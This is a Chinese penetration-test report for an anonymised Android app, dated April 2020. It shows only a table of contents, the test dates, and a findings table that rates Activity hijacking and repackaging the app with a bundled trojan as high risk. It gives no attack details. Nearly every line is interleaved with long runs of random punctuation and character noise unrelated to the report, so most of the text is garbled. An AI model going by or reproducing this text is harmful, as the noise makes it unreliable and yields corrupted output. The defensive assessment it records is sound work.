. D3 z% M3 [% g" Q$ |: S
$ ~( H# `" h) N, c, q: {: m
$ L9 m6 ]: o: j$ @) n: A- o* l' Z. W' A$ G$ T/ F8 f
* V" O7 d+ v5 f4 d; x, J: K# t/ s5 H
" ] L9 r; e& | V. E( j, n* I* _; f6 U0 E( n7 Z& n. a3 u# P: F3 r
- x( M* N& c. M: f$ P
/ a ? \9 L7 [4 R/ V8 i
# C! p1 `6 ]9 m! }: i" z. e: T# Z) H- b
文档编号: 0 I- }8 Z4 Y1 L9 v% z; [1 v2 v
' j! W. ^- B0 z1 M, b3 [" Q
# y; v% V/ i; o E8 r9 e
! |. T+ Y; \1 s# i" x* p2 _ , Z" e; w5 I$ u8 S3 S3 h5 B
% I( N' Z! i* T9 _/ }! [8 C5 @
) j( Q) y M7 l& u
: G- }" i, V- P' r" a
! Y" c# w( U2 g) q" y: u( V: w
& p; @4 ]- a5 d* k- l0 I, M# U) U) p
. d2 d* t$ M }: ~
8 h8 R( a/ `7 U2 G L& }# g
# ^/ A$ @4 x& E8 |) S: f$ u
- r# ?- }1 b) x1 u+ j% J5 X
3 R! S: Z% P- m1 M( i7 H
. q6 E S) f, h! Z7 Q
, X7 `( T7 y3 H% X) v
8 k2 h8 [/ g3 E3 V0 P7 A2 {& X7 ]
& |5 Q& s% u) y( j; U2 Q$ m
& M) b5 F9 M6 C& A: c! n r
4 B! g. L$ g+ F& _2 o! ^
4 g; g- l* c& _7 {' x
& N0 l5 ]5 _9 Q$ m6 c0 v
$ Z% f) p* V `9 o' X 0 ]& A' K. [9 D' Q0 ~7 p- a, r
; [2 Q" p& k! H8 x% j
7 n9 P- e0 w6 m
p& a+ S X C' ~- B0 n/ H 6 C" ~. c2 e; C6 v- U& E: C( b {
. g* v- u' J! c
( y, o5 n( C2 w" E
3 T4 T7 J3 y+ H% c& o
- E5 `% h( s8 x3 g" ]3 X% z5 Y6 s& }. C& t% }# s
; q0 ~$ l `8 y* Z
/ C3 g# X. t+ y, J- t 某某某APP渗透测试 $ v% k6 @* h8 O, B9 [
1 ^$ D/ z6 U/ _2 E
' S: _( O- T( e% S, N
# Y$ n7 b7 D) Q9 c% {
. W0 A9 l$ h* l4 @+ o$ e+ E: ?, y! B
+ f& C6 n& p9 p w* j- ?; q" `& l6 D5 v% n8 v- j. t
: `( z$ F/ l6 Q( d/ c' \
/ G5 m" @) l! d0 ^
; J9 R9 S9 H9 Q" C) {
5 x0 f; y, Q- o5 U+ U# A
2 ~! S1 m; g' m; U7 u. {: T, e" j( n3 K$ h5 ~
: `% U0 O% ~' g9 k
! U8 J1 i& d6 u8 Z- t& ?9 S) t) m. D
0 G& D, Z% O0 L; j K3 G$ @
: o* Z1 p9 W4 y' r( I % Y3 J9 z: C8 F8 U$ L( Y$ m3 k
) ^1 w1 {$ N7 d( I5 Q3 b
0 d1 X) p: C7 F, D# Z% s, ]3 N0 b, r) ?# q
+ Z @+ M# s1 Z6 c- t9 B
\& @3 y5 w7 c
5 K* t2 O2 F- ^' r! n8 b+ h
& a* q0 d7 E& @+ R* {+ x( v) }
2 {% ]6 B* |& R2 M, l* }0 ]% J( s$ }0 V) X3 c0 _
6 l* H- k: M: r7 B# m- t
/ r' c' S. e/ {
技 术 报 告
& Z3 _- u9 X8 V- E
; P& V+ V: _* m
# @! F1 s+ c9 }# F* I
! A n4 \( ]1 z7 e. ]
1 {3 Y8 N5 C0 v1 ?3 W$ z( } |9 _+ U7 F1 D
! n4 `# O" n! A7 `& o! K* C6 W
4 h) V: M8 w) @: ?& b
# P5 v d3 L& M/ a: ?
4 r$ P+ k; t) ~6 R
+ T" O2 i# n9 p' b. \+ E! p
( M3 W3 v$ o$ s L7 c / J1 k# r' w/ H: ^) t* K8 d
8 w+ F: s0 n1 r" e- M2 G0 M
0 E4 R! {3 ^; Y- W& r- \5 s$ `6 L# A4 @! F. t
- A& n3 O& o+ p0 M. }' K
6 G$ d7 e6 N. n( r; N
2 S$ e7 K! h: v# p! J9 _
( q8 A, C9 C; d( ]: L
0 k7 i2 v# A2 ~' I7 H/ G" S4 b- ?* j8 |! a- `- i9 g
4 e) `( e M% z4 U* v7 D
% o- V: O* {4 C' @6 C m* K+ i , B2 }, u( U% p8 R1 F+ j) o' r9 t! H5 z
- s/ {3 T7 S' \7 N0 o
7 |7 x3 A$ F. u
& G7 q8 y& ?6 U; u, k w. ~7 e2 X$ N1 \! m# n2 Y( s* U
' H6 V0 _. w0 d. u- @5 T
; e; e3 g# C' `/ d5 v
) w: a$ p, f7 I4 }0 X' b( _0 z
7 X8 R: ^+ F1 M4 }8 ~
: r7 }. B8 e/ s" e+ F! a/ w1 T7 x # i2 Q; B0 L: `# |; @- e+ ~
# Y* K- w" m3 W' q1 O; d
& L" z. T$ n E
) }! {" w" l1 P
) `3 T' D6 y' ^, V: E+ L
" `1 c& L/ V) A3 k# U8 S, w 9 J: U2 a; R f, h7 Q
) O: f' w% t! r, n3 ^, Y
3 P9 h9 V7 H' s } z1 L
* ~ G/ w7 S1 b' E' B# q9 }
: P) Q/ ^5 V. d, V1 d* y3 q, b$ D B. `3 u# Q. _
( w( L) L8 B. ]+ x P2 x* y0 `( I) s1 _2 N4 f7 y, G( A, f2 x: {
+ Y" F8 {; k3 H5 |+ L5 ?# B1 q' P
0 `: b- ?4 u( s J% B; J
) x- s, Q1 f! Z& `2 u% t: {& B
, ~! N2 i/ g9 u3 c- R/ o $ R5 v& M4 r6 H$ ~0 _2 V! A
1 ] p; U- }) A
* z- \( E" w" I8 f7 [4 Y
+ Z* P% v: X" g9 m S' V
# i- _* j0 H$ i) D
) i8 j) `4 G7 T2 {$ } $ p2 ^% M) K" ] W' h8 M
; s$ A' F/ G% ]0 Y + R1 s: q. ?% {: j P
B2 a" b' Q3 H; F
& U) N% u- X4 a7 n1 ^. u" r
- U R4 ^$ |- t0 M7 U4 ]% I
/ {, l1 m `1 T1 H9 g0 x N7 n1 u! H# G5 i! B: ~9 h8 S( O) \" l/ O
, e, }) n' o' ^; E& ?4 g1 i. Y2 z$ q5 I! w; N! j3 T
, j8 n; e1 e. B* Y) T, p* b
, i$ f+ I. u I4 F, g( s ; g. ~/ Z% q: c9 v+ s2 Y: g: _
1 O3 S* m7 ?) V* z* R 8 `4 L8 d' Q1 V. `# i' U
. K- r! ]6 t" l5 J9 C
, O% m3 l- F% m* e: J
+ h2 }4 d r" V; N: J) P0 {7 _
( M6 z% [% r- n1 |3 {0 Q$ }2 g
* L l3 Z C! u: h1 ]! a3 _
+ y# @3 K$ s2 G7 {2 l* j
- F, C8 X, L$ @7 f8 V, H9 ?
3 F3 L' b* d2 n, B n
f( H5 y: ^) g0 ^+ J0 f: r$ o7 V. U , @5 k- S. V* c6 _9 U- b" Q
7 c1 z1 V8 g3 E6 u
/ L. o: n( d4 I: Y3 ]5 x
3 G6 b+ T5 |) E4 T0 Y7 |3 q- ?3 x
. m$ u; e! Y; X- r
7 ?0 e& l; P* R! x( t# w- V" J
) q9 y a3 J7 G4 v( r, L' @+ R/ P8 C, [+ ]8 D: y8 @
, l3 j! y/ W x! S2 u' X
# Z- n7 Y8 _$ y& V& U! L- V
7 t; }- B4 x# G8 m# \+ k
9 ^7 `( r5 c& w) @8 J
5 ^' X2 v( p1 r1 J% A! B
1 Y3 _+ A+ D. |& M9 ^3 Q1 [7 ` & G7 _0 a. A$ x) ^/ y3 P
. M# W- s# w$ Y+ ^2 m
: r5 j' c- O5 y( |8 C
2 s$ X8 u) x+ @+ j- \7 t0 u v" @2 Y. \& S/ M9 r. x s! `5 F4 q8 d
+ Y1 U5 ^6 y O6 O3 ^) r; O% Z7 Z
4 l3 e& s' w7 ^& q
0 W1 T: G9 N$ r
! f/ ?3 d& o( P3 j! S8 ~3 z" _* G& O% k3 _( X
, F7 I4 T. z! T+ h; T
$ l0 n/ [4 Q4 M9 j, @
\, c- T& m! E) v% O- z
3 T; \- B* X' y1 s: |
' I- o8 y+ }2 c0 u! q9 |% h
6 _; b/ y! ?# I' Y# J 6 E9 O4 X ~* X9 k
& }; |# K7 U: L: _- y2 H
二〇二〇年 : n( q0 ^6 r/ P9 B; d; n
( \* t# i# I* E4 N& R
$ }# ?. j) w5 I' O: S9 c* Q( A
* z' H, L c0 w, A; d, B. B
1 c; p: ^5 y5 e* ~! k5 _! E! E, ?; J# v" C% H9 T
" n t/ O: q& S9 k6 x8 C- t" ^- H: p5 x4 C1 l4 h$ U# w. c
, z; z+ N' \3 ]2 y5 I( s1 F
1 N% g- t( z7 x0 U5 |8 \& m 8 s) b- X3 D5 p
# m2 o- R7 y& E2 f0 W0 _' l4 m2 j
( g' c+ f, Q0 z4 s# t8 S T
( @: L. m H' }, M6 X$ {5 ~. c
. \3 d! y! Z% l4 e# e( v
k$ S) c% ?" U( R $ N, P2 Y) g. F. L1 a) ?+ C, x9 w
2 ?7 A0 D U" h3 U* I3 \ " B& v- l$ n `$ m' s
2 e+ @; y- R8 A$ W% ~7 `
3 I( T9 b8 F% ~: p
. a' q/ V2 Z5 y8 a 目 录 + M/ p% x& z3 F& Q
2 @ h& [$ N4 d- K
' @/ K3 _$ H8 D
) h" j& D6 J7 l$ E% a7 Q. b% W
7 G' @* j9 a9 U. L( V7 `- _9 P" q6 n5 c) q/ [6 r$ E) B0 B$ K+ {8 ]8 Q
6 u7 r4 x. M" x) {; @( B2 H# I: \6 z0 G
5 E3 X9 }6 p# @8 C+ p- h/ D/ j
7 W, ?" O* L8 {- k* ?5 S
! g( X7 f. Y3 ^: p% i) F8 \- ~
3 }, ?6 @0 I! l6 v1 e7 f8 S - t$ s9 C9 T, E/ g8 B) j2 y" z
8 G& c3 p- h4 Q5 l# G2 T
1 概述... 3 6 q% m( G' ?* g$ M$ ?2 Z6 u
) y" h: n* |% U
, w( A3 |( B" ]3 e
: |3 e5 N2 ]$ \5 e- {
5 }0 @" f2 W; J' j
, X4 Q& I! I5 M& a- j
1.2测试时间... 3 $ A) |/ h3 K! b% Q; {2 K# L
! b; Q# h5 ?* Q' y% u3 b
$ j' V T, p) |$ [+ Q( i, G' w8 Q* E4 h2 o& q
) X7 W5 r X0 X( G+ B3 f+ T* m
# u3 W% B. W% B& P5 e! ?& [
1.3测试对象... 3
- h4 V" ~* b$ a" ]" D% Q% [+ H
8 U* P+ P- v( n n/ l0 R- T q$ X! t
9 X+ [) @" T0 x4 Y9 E
1 Y$ n# v4 N: o( f T+ W) A$ _, \8 I* i7 L& k
, _4 o2 u% q4 _: v
1.4测试结果... 3
) j, B" W2 B3 _8 q; }* o8 q
8 _1 l( |9 O7 z$ f7 Z
! E8 k5 a% g5 T7 c- P$ Z6 I$ K) ]2 o7 ^& K% X7 I3 i
- y6 c, Z. \: W1 c: h" ]0 _# y$ i2 |
0 h" S* w; i4 t E9 R4 n 2 检测结果... 4 6 U) C! ^! m( V, ^
' w! X2 n1 p! n4 L7 ~
" t+ P0 L8 C5 K; F
1 R) {$ c* K# t
1 @$ M6 s$ g% v8 \
# M; C# ^, E/ g 2.1 某某某... 4 P9 y5 i* {5 R1 Y
) W4 h( I5 d4 ^+ W. L
4 ]% w* a" ?' N" r. U; c% m
: m" [: M: u2 R( u; ^6 J
8 ^( Z* v! H5 m7 L# r5 |4 o$ \
/ C; F, R- V# ^. u6 q0 ^8 E
2.1.1检测目标... 4 $ ~& ]& H. _' d& \1 A: N
4 ^# j& A3 _3 i3 f) L6 R; n
8 F/ [) s% @+ a0 w; `0 {, Z
- w$ ^8 U$ g) H8 z' E8 l; ^+ L( l
! {( V' ^% h: ], {4 K2 M- k, I0 N/ a
8 t% I+ I( [6 \: W& B 2.1.2检测结果... 4
: M2 s0 S* C7 `7 m7 a) @9 {& }, x# P- ]. e* u, W3 j. H; t: P, D
9 w6 x/ X' U. R1 E" U- _2 T# I
) ^ s" V- R H0 f9 a5 ?% q
3 m$ ~' L2 g) y* y0 O9 R& k3 D
u+ g y; m- O' s: u! w) Q6 P/ M 2.1.2.1. 4 % b6 T9 M8 L/ J# Q% C& K
0 W# }8 ]) i! [/ C+ \& W; i
- ]4 |0 I) X5 Z$ W: q b2 h
$ E; t# }6 h$ _# m8 R 8 Q/ P5 b9 A( T$ x7 u1 Q0 v
+ U; D: M1 K7 t: U( z, I 2.1.2.2. 6
4 B, Q( M2 W* H. D% ?- |5 l! A% o, h! p: O& g. S
' s/ E/ ^/ k; f* l) Q, u
% d6 ?' q. j# `0 k' J$ W2 k4 @1 \ & d% k3 g- S$ Q- m/ y8 X6 ]
; o& b' m7 |4 T; ?* B * C% G, }) G3 Q
5 F' v2 b P7 N7 z
0 v2 [8 G4 H6 w p6 L; M
! b' D* A4 f# R8 i, l* }
% u$ S' l# ^4 I7 I4 _
" e% e- T' K% r9 M) d* m
0 a' W! h. _% S+ \. O
7 a& i" r+ c8 o! u" @
0 d3 \% }* z# V2 }
( B# S% d4 ^" s+ o6 y# t $ _: s1 y X; Y: r
) \/ I; g( _' z9 I- u+ h
3 t/ h. I/ `' g
: u/ X5 }4 ~. F9 b7 |# m; j. c 1 概述 . H2 D, k; L$ m, C3 M, U# Q* I
`& i7 W* m9 s
7 n z# A0 \, F& i0 b! j
3 B8 ^; a+ E! d/ m# o h1 s 2 ^5 ]( @# |5 p, m1 f
: v- {8 n- k9 t# @; S
1.2测试时间 1 |- v6 R2 J) H
( v% K# P. q$ ? W5 C- B
0 D/ F2 `! c. n0 R
% Y7 w' e% a' k+ E& }: O2 y" j
9 |. M/ t8 _1 o& L( f t9 y9 U
* E7 V; Z) q2 E$ g$ M! X & L& s( g1 d+ B$ {
- U6 M, v: L' F& v
7 e* D7 E8 i6 x2 q% q O q# B: P! J7 N. ]
|
( `; M2 l( ^ U3 j, X/ u' x/ O1 F# M8 V. \5 I/ r4 q
: r7 C+ Z6 a: E' e+ ~% u7 X7 d
( z% g7 H7 n( {. H) u) U7 n 渗透测试时间
0 l; ?1 Q, Q5 e- S: e
& O) K {6 x+ u: f# w
0 A; ~+ }2 R+ \6 C* }7 [% } ^) G7 y$ k& G- h4 d; n! d
| 3 d1 R% b( N1 I3 |* H) ^
0 I1 l2 n6 j* d2 Q* n
7 b. \) X* Q! ]/ a7 L3 i3 }, r/ {6 g
( I. ]7 @/ a. K9 D' Q ; O- k" L$ a' o5 j/ `% P( V Y
% {3 s9 X9 j& Y/ N$ _% a+ o0 s
| ( U! f1 @ ?& C4 M1 X h }/ E
+ @/ E' s6 l; G
$ Y' M* f5 U* q9 M. [+ \. W3 @: J& ` B3 p ~5 X, s
起始时间
. m* g5 D5 ?& t: f! c
7 b! V) o3 e- }/ n6 {+ q v . P% Z s9 B& j* m$ e( o
7 C7 O- b! l8 U, l* E+ W
|
( K" h( f) l& y: D" P3 H0 ~1 m9 g; a) Z$ e2 W
3 G' E6 r) E' P, m2 u' k" t1 o, \" R3 i! w. f
u1 V; O& N* B7 t* [6 U0 e( A
/ g3 [; \, c- A. r6 y 2020年4月6日 ( V, c2 U$ G4 |' R1 O
) G0 U# t: {6 q' R+ O" Q6 ?
: J6 e' X* y& y. ]- i
8 u! t4 t' r9 [+ G | , D6 F3 W8 L2 E8 A) V; }$ N+ \( n
9 `4 H1 `+ @ D: ~; y# p% f
+ d) `* H# h4 D
+ z, m4 g1 O* L' P1 N1 X _, r1 T8 f
' P# P; T. _ p' p
# o4 z* ?6 `4 ]! |9 }5 P6 r | 6 _4 V5 u" g; ?
5 W* u9 I0 }) E3 v) r: r
0 q3 g" n' K" f* K
& r) i6 }5 {3 O
结束时间
; X' E, U1 [" G% H6 E' t4 g9 h) H+ r/ N0 A% s) j& I& Q
9 a2 Y6 K% Z4 F ]2 H& A7 q6 m% j+ P; ?* ^+ |
| ) Q& L3 P" a2 w8 |9 r: F
1 C7 z& z; J1 P
/ N4 l3 P2 g6 u) h0 o$ f& K6 t' @9 x2 O
* v9 | T+ c( q% i ~' I0 l
4 x" B; t4 U% y) k- q% ^; U/ ~/ |0 ? 2020年4月9日 * `# |& h$ C6 _# J* d$ ]
- [+ }8 ~: i" N9 ?' I# d' r
2 C! i `8 U7 ?
' j9 S3 s, s5 l8 _6 ^$ ~( j
|
4 F: R3 z8 Q, r. U" ]; F2 ?$ y5 `/ ^$ d+ T
" a9 B0 A# Z* r# {6 ^7 B! J6 ?' C2 V8 j% g
$ ?3 {* b) F# \, E9 F% P
4 k+ a |* ^7 _3 ~9 Z- v, Q
# z8 A( p0 g2 v3 R: R- V1 P1 J
" d+ v! B; R6 `* _# Z ' Y b# O* \6 J2 D* {. q' G3 q
7 U% u/ T: v, o
1.3测试对象
9 [+ j+ X$ s8 x( q: K1 ^: l6 G0 a" z6 O; W1 H9 D
: m+ N% C/ c: q v- m: J* P- x: S) f. c+ @$ i2 O! E. o
& M I% `, x% f9 k" T
* b+ Y5 g6 ^2 d* | 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
; ?3 R% A8 ~, C* [) j: w, R& Q" }2 J" [/ ]6 h
. k; ^% X$ _4 ~* _4 k# ^
; z8 c. B( @, J6 l8 k
Y1 f$ O/ }) |* r# a
+ ^$ l. l4 [) ~# P( O# p 表1-1 检测对象 ; w# F0 v8 `) L2 K- Z2 e/ W7 e! I
) T) a; X; V$ m+ P0 k" e: t
+ S0 @ s$ L6 D( `% U+ N. k
1 N ~- v, r0 u# q( w- q0 ` S % i, z3 V8 K( ?5 F" {
( V1 D& W4 t7 {+ z * i4 A: l1 C' T) f
- Y' j$ I, h6 c5 F5 p; o! U
. F5 ~. \: k; g5 y2 ^
; s# Y! E; u8 z( J: ^* O$ l | 1 P& Q6 v% e- _2 p2 T
1 s& @( w2 [% B' G6 m, s' M1 L , S6 }: ?4 ?2 S9 K- Z" h* P+ w
" z$ {2 |: o9 L4 T 序号 ; [; i) X) M; K1 @5 D4 w0 L! e
, }* Q @$ D' b3 D8 ]* F
. t( M1 P/ x& l0 @
& }! j! l+ K. n( n* ]6 F' B6 Q: H | ; o2 B, S$ f: I1 D2 N! j
# u5 J$ j6 m' i0 Q9 L+ r4 y( E8 n9 V( s ; \! }6 t- {* P6 E' A; b
7 @. v( T# b `9 W8 J. a
' @: ]) P8 O8 s. U. \- l0 W2 |5 |7 U) e8 W' P) C# P
测试对象 2 a4 }8 s, P; i# _7 m
. T6 R/ S, X) ~9 m3 p0 B ! l8 v) S) Q0 H H; w. [
* q% ], K/ c# c$ c2 t4 u6 L
|
+ j6 ]( L" n6 a$ o) K- a% N) ? a. W/ i
& |& i. V2 R" }7 C% \. l- i$ T
- D. m1 c& W% S6 x. u/ e, i0 ~
& z* f# C2 r& v" O, G8 _
) b5 d( f" [: f9 c 测试地址
' U: d. _" v# x5 r T9 m5 G& W
$ }0 X( q+ c+ I& P( o3 w" E, \ + c$ J2 d8 d3 G. Y1 n8 g/ `) A
1 E2 Q& p& V' N& ^6 T& ^. u
| 6 o2 x* |1 J2 F& f" F% V, [" R
! O! M; b4 w+ H$ h& L/ J
- T+ U' ?/ G9 `2 z- j7 H/ k( A/ x' j t4 x, }
/ G# L, l5 M* Y8 f$ d+ l
! P( D [& Q( \) @! x 安全漏洞 " w5 D5 W& q! ~
9 e) l: h* w- S. g- i" \ 6 k, `. g) V) N \8 t1 W
# P" }9 ?% j& j, Z | 9 @3 r5 `+ q- w
+ ~# ~7 o6 ]5 n! ~1 z _' H
# g$ l7 m* [! @( t9 R
+ z: Y8 \3 i$ @ 5 s4 x7 w8 `5 S. _$ a0 ?/ v9 m
- s/ U) M% g- a8 Q4 ]9 G! {. { | 6 k2 c: m- h: o1 B/ L
. K. E) x2 N$ u/ b' o4 y' ~
% @8 P$ [& d) |8 `- f! T
9 e% e5 N* M' J+ {: M g 1
8 u7 _5 p' M# U0 ^5 n' q( Z6 ~) N$ n3 U- x. x5 x6 T6 |$ Y" L" {
& z" W7 H- I9 r$ R
/ `7 U0 ?8 r! G: Z
|
6 x9 }2 x# r2 M' k7 g- Q/ F1 Q# S8 ~( e( R% a1 F# @
0 R2 \$ Z5 R9 q, e
8 N% N8 u6 b5 X3 _$ Y1 D 5 s4 G# N# u& W- \
% Z+ ^) ~# @3 P8 e: f" ~( h5 f1 P
某某某安卓APP e' e9 u& I" ]4 ?9 H$ I+ h3 B# ^# W
# y/ W* ~; y6 L1 e' y 2 V9 E$ a6 ^$ B- }6 {4 h
3 a; y, t. z& X
|
9 g6 x! r2 x+ b' i$ y; R2 a% i) B
+ J: a- \& t) C2 v/ N
4 f7 a0 n/ {7 K% g2 y! w$ p6 d
5 }: w# e4 k, Y+ B% x! Z
' a* d1 @8 M- C ]6 }
9 B& S+ E: i. h2 Q( o0 }3 E! z$ r; X3 t N! K1 s8 G
7 L( `) L2 C+ R( q# A6 ^1 {! N5 p8 Y- ]1 r6 k3 ?" ?
| ; L: H+ ~+ i8 b& s6 |! ^- w! D
* ?, Y6 S" s( ?- u$ e 7 t- W/ i X/ m) r1 ]" z
. p9 U& a8 t3 |8 B: Y1 N8 N# Z3 X5 W / h) }% @& G) _+ B5 ]3 Q
1 K# J) o& F7 _. s
2 . |8 N3 ]. R' ^6 S* g, Y" p
, h( U& u# o6 r" I' k( B
+ D! L2 H) Q, P% P: [* v' o/ \* V. I$ d0 J
|
0 Q# A3 f/ O* U# x/ k
5 C% J$ C: F1 G- \& ]9 u6 y" @
: b2 k, i- W8 l, c2 s( L- Y% @+ E. C. }! H: F8 \% B# j
7 m; L+ V% w8 A; s4 z
' m4 E; c$ P" n$ J$ ~6 t
8 z9 `( z' E3 G6 k* H- H
5 U0 X+ F0 y% e$ W " R3 ]# ~* L1 r) e0 A) D% |: [" J
: C. B# J! P- {9 a4 x) t/ ?# h9 d( V 1.4测试结果 0 {) P5 ^* ?# f. B, U
# ]; a% o1 n0 X/ U$ x4 `
/ l- m& K4 r9 }8 G
$ o' d2 u# E8 ? 1 k) |: a3 O5 a! Q# T% ]1 M2 }7 }& R
# _0 ^, }( `6 K6 s0 ]
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
! P/ n3 g4 |. t! c4 K7 S; C9 d5 o+ @% G$ {2 H) C4 Q% b4 M6 K
% _- c" p& P0 X* @ ^! \4 w+ Z3 B7 n2 Y! J& z
! D' ?* s5 T. Y( O" b/ Y; N
; \2 |" w( O4 i. ?4 `, I
* L% D- `1 x7 e0 }0 `, O8 s/ l: B7 \% @6 o' M
: ]" ?, a( G9 G+ l! k4 T3 U
; a/ S' n9 C# l6 M3 t, o' T" a
9 \$ f9 q3 R2 j# ]5 v2 I8 y! {) I
8 V7 V: e3 }3 `3 ^9 q' v: }- \ X
0 N7 f2 y/ t/ m. R2 Z' `: z& h7 _
: c/ F0 U! {3 Q, N& A [, Z, N - c/ ]2 ` m0 E6 O5 ?0 S) m, q
1 T& s/ u$ ?" v/ o* ]
% E& `# B \ F" e; x) i8 K$ `
' b1 D+ N l9 k' h3 A5 h5 f | & n4 p8 Z/ M4 s+ G% _' ?8 _! {0 q
8 a% `1 K# U) I: C9 x
4 ~ d/ t6 n7 S9 d: U! \
6 t7 N9 b9 f6 H 序号 9 b2 k5 I8 W; G
" V4 X+ q+ {! \' B$ b8 `- ~
! @' g7 B! s3 q& K) x
& c/ Y6 w9 m0 H" Y( Z | 5 d. L3 v. {# I' E& Z) k: B! K6 f4 L
' P. p# G1 s( X. D8 u- q( ?$ ]
! E1 R) g ~8 [4 S8 A
. V, x9 x2 F# O. A; w: l . X. N$ W9 p& u5 k4 W) q6 r T
' G2 D7 U4 L3 I! u3 B! K9 v
系统名称 $ L( p) {. |6 X: W* f( L. ]
: H- A5 {2 j+ C
2 i+ } e3 f7 x/ \" L, H+ |2 @; z, L$ a# u* C2 X( n! z; l
|
5 L) D7 g a4 o9 P' h% ?5 J
# v: P1 B/ p3 E
( M3 A+ [+ Z% s4 G% {. y; a
# b2 z; Z% a" n' |; y . ~5 f, o/ C1 i; s) p0 D# F E! p
# ? {' `" g0 |: X. m- l2 b
漏洞名称
6 E8 x7 b; R/ o q3 O. I6 c
* o {: q ~/ U5 p7 c9 j# w3 _
) g0 E& J$ G* g7 F' _- p9 x3 M& n
q6 A% a; s! s5 U3 d" E* [ |
+ ]- Z6 J" U4 [0 O- k
; I& m* ?0 ]( u. Q9 ^4 f% p( Z
+ I& I/ c o; j- p$ ], N5 Y( A3 H+ l- V8 A& M2 F- Z
5 @5 C% Y( R: ]
& D* _& g, E( d& C 漏洞危害 ( g; o8 r2 O7 v1 V# E4 H
" L: p" G6 N+ W8 c/ p6 h
) ]( {/ d( y/ i: s( |
7 X% o# Z6 j& n- R6 \, H2 D | ' N7 e/ N( B# }+ n
- f. K7 Y0 g1 K2 a# U( \, U! n
8 J$ q s+ ~% _' s+ s% ~* n. g" T7 P- @' [$ Q
( L2 H0 W( ^0 U# ^- S3 q
0 [$ {! d+ |+ W# w7 J5 I7 G% W w9 S
修复结果 8 D, {7 s# v8 K# y% P( R8 O
* P3 E6 T7 y9 w5 m
2 F! l; |1 h0 _" X; A
" Z4 L5 I1 d, X1 `6 m$ S
| : R) u6 z1 H/ |" y2 R7 ^) Z6 i
' n" |: {, ~: Q' ^9 Q O3 H' @
9 ~5 S' E3 E# a' ?4 h" S. }1 c0 l( t4 k' M3 C L
& [8 a$ t5 R& b( Q' ~4 N% Q9 o9 ^7 d/ G
| ) q* G* s: X, i- T. U9 x
) D+ \3 _# |, \* Q+ e% o a# E7 X
7 I9 v5 o* \: [% B& ^+ @7 M" w
# r. P; i( O4 G0 {8 E
1 " Z0 Q Z) L/ n* z' C% T
, i* \" ]5 b+ U5 n1 r9 F8 B
* x% s7 y& z! o& c( [& A1 A7 @7 T+ u
6 t' h" A, L) {; w$ \ | " y; ~8 p" A2 ?2 i: [* C
! I: [- z6 V- M! K) J/ z2 R 7 G: v) L4 y1 \- C ]2 L9 ?$ g
; s$ K; h7 E8 E, U% w3 y) `7 {
% X9 V+ f' j4 I# R+ c) H3 X
' ?* I0 L+ M, z 某某某某某某APP
. X+ X) r9 I$ S: O% y" o5 x1 e, J! Q$ `+ o) l5 e. Z2 R' L9 n; y
# Q5 n; `, Y2 W. S: R, s
4 Q4 t y4 h! m% ~; o, W% V8 i1 } | ! n/ w( _) ^6 X4 W6 x! _
1 x; `; w5 g+ l1 {
. _- v: T$ ~4 U* J4 `6 o
# p* Y2 W" h! j
- A$ T* k' a% g, F
U! {0 q3 A$ `$ U! w1 Y Activity 劫持
0 d. Y$ e( C! s5 t
/ \! Z0 n$ e+ ~% u: {5 g ( n: E" A+ _5 a
! Z# e# y+ o0 X: [
; b; [2 `/ w9 z* O- E2 z' z5 z3 j: [& T
( l) n/ I& P: r1 O! z" M$ |. [% h- }. x6 F
# d; h8 q* D4 E
5 J5 \7 V/ k& E6 ^$ J! P
|
- L9 U3 d2 b. Y M9 T9 X+ W p" b$ F6 {. |
3 T! G$ ~: P7 w0 Y6 m3 [5 I
5 i4 X# K, h: \) O
6 d# x& z7 _4 X
- v2 t" Z* T: Q" T" a: R, P 高
0 n* c9 H9 K+ f$ [/ Z- x& S0 `* `2 A6 Y% w! X
- y1 E5 D' x) ?; Q p1 Z" o
$ M5 ^, \! L) u3 y" p( K( z! p) P, [6 z |
R7 F; E2 n- p
% Q3 W) v8 O$ \" m. J) v) t( E
9 t( D) l( V/ G# {( c; o5 z% k0 {. G5 G( o3 e; C
a) g5 P; q. P/ T& h, I; I" W+ r( F: @! d8 y- u$ l' L* k, ]
$ a' D0 h! x8 V3 h' G+ o
, B0 w, |$ g5 B4 N 7 R/ U. n6 a2 A5 R1 e/ I; s5 W
{: ? V. a# H+ g
|
- c$ }+ B0 t7 R
7 ~ m1 p* @" T1 W8 f
4 T/ {7 l. C7 n
. F5 B" B, _, g3 d0 l$ z+ k
7 ]' l' }4 L& `6 @ n* D# B+ [7 n; }2 B
5 \6 z4 s& _% S& V* m0 r: {3 y |
# ]2 b; P @ E6 a" Z! m. O0 c- h
. M- O8 t6 c4 z9 s/ Y# o4 U0 Y" s. E ?( j0 c! E4 N4 ^" p
2
( T5 K e" ^1 A4 Z. r$ o) K
$ j9 R6 W+ ]5 y: `( r& J1 |- c / y% W1 S) } B3 H- U: n
8 F1 z6 ~+ s: [7 a$ E, @
|
& c \/ `: ?* H3 k/ q3 W$ X' i% V; e9 k$ H4 H
9 ]6 D- D2 [) a- l* e/ d2 b
$ |/ S$ u2 G* d: W
7 K" Q+ V9 ]3 p, L) V! v7 Z
7 V8 g) P' j" Z8 {: j. J, z
某某某某某某APP
" g/ p" p; K! l! i9 e2 w+ g, Y
, p: Z5 [$ X8 I$ N
! Y3 o) R- o4 W) }4 B: S( @ g, [, P8 E3 l; ] h2 u3 |5 I" c
|
9 P' p' n+ h8 V; B8 P$ Z& C: w) f3 \. |$ K) |
/ [( p y, ^' E2 _" s: L2 T* [1 r$ _* [/ q, {& ?* s
( q0 O1 h/ ? ^ t4 I K
1 Y+ _+ `( G |0 A 反编译二次打包捆绑木马、篡改APP代码
' b1 G+ K3 u- {2 ?; i4 P$ E B1 A* I" [- _2 w* {# O6 @
; Y7 R0 s* H/ l4 | G" E; B
( X4 t/ i0 S: E* p$ } ~7 z- g | , M' D. \, A5 z7 h
" C2 I' P3 a% W9 R9 W; R; j2 q
1 _) H8 Q7 @5 E5 [6 r3 B# r- g" O
, i5 P3 i5 m4 ~' ?* I7 A 7 m: ~) Y D/ ^
4 M0 T- l4 B: B; I0 S" Z
高
; m$ h& l( e/ W6 o: ^6 E8 G
; n/ T3 h$ @5 G1 x% c" R6 d, u
5 g9 p4 n" s; A3 c* C" B( |* t0 y: ?
9 g; t0 P @0 u/ X6 d | 5 C5 O5 C' N, L- L
% |9 a( r5 f8 n6 Z* I1 f H 7 u& u8 q0 F# M' `0 ] K2 U# D
